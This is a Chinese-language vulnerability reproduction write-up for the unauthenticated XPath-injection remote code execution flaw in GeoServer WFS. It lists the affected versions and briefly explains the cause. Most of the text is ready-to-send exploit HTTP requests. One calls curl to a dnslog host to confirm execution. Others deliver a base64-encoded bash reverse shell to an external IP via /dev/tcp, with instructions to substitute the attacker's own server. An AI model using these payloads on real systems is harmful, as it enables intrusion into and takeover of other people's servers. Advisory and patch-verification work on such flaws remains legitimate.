漏洞描述
GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。
在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。
影响版本
>= 2.24.0,< 2.24.4
>= 2.25.0,< 2.25.2
< 2.23.6
漏洞细节
GeoServer 调用的 GeoTools 库 API 会以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库,该库在评估 XPath 表达式时可以执行任意代码。此 XPath 评估仅供复杂要素类型(即应用程序架构数据存储)使用,但也被错误地应用于简单要素类型,这使得此漏洞适用于所有GeoServer 实例。
复现
查看typeNames,必须存在
/geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage?1&filter=false
构造POC,使用dnslog接收请求
POST /geoserver/wfs HTTP/1.1
Host: your-ip:port
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Length: 326<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"curl wlgx9u.dnslog.cn")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
使用vps监听端口,反弹shell
构造POC
GET
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDguOTkuMTYwLzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
POST
POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356<wfs:GetPropertyValue service='WFS' version='2.0.0'xmlns:topp='http://www.openplans.org/topp'xmlns:fes='http://www.opengis.net/fes/2.0'xmlns:wfs='http://www.opengis.net/wfs/2.0'><wfs:Query typeNames='sf:archsites'/><wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDguOTkuMTYwLzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>
base64的内容,将ip修改为你的服务器
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDguOTkuMTYwLzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}
bash -c {echo,bash -i >& /dev/tcp/127.0.0.1/12345 0>&1}|{base64,-d}|{bash,-i}
成功getshell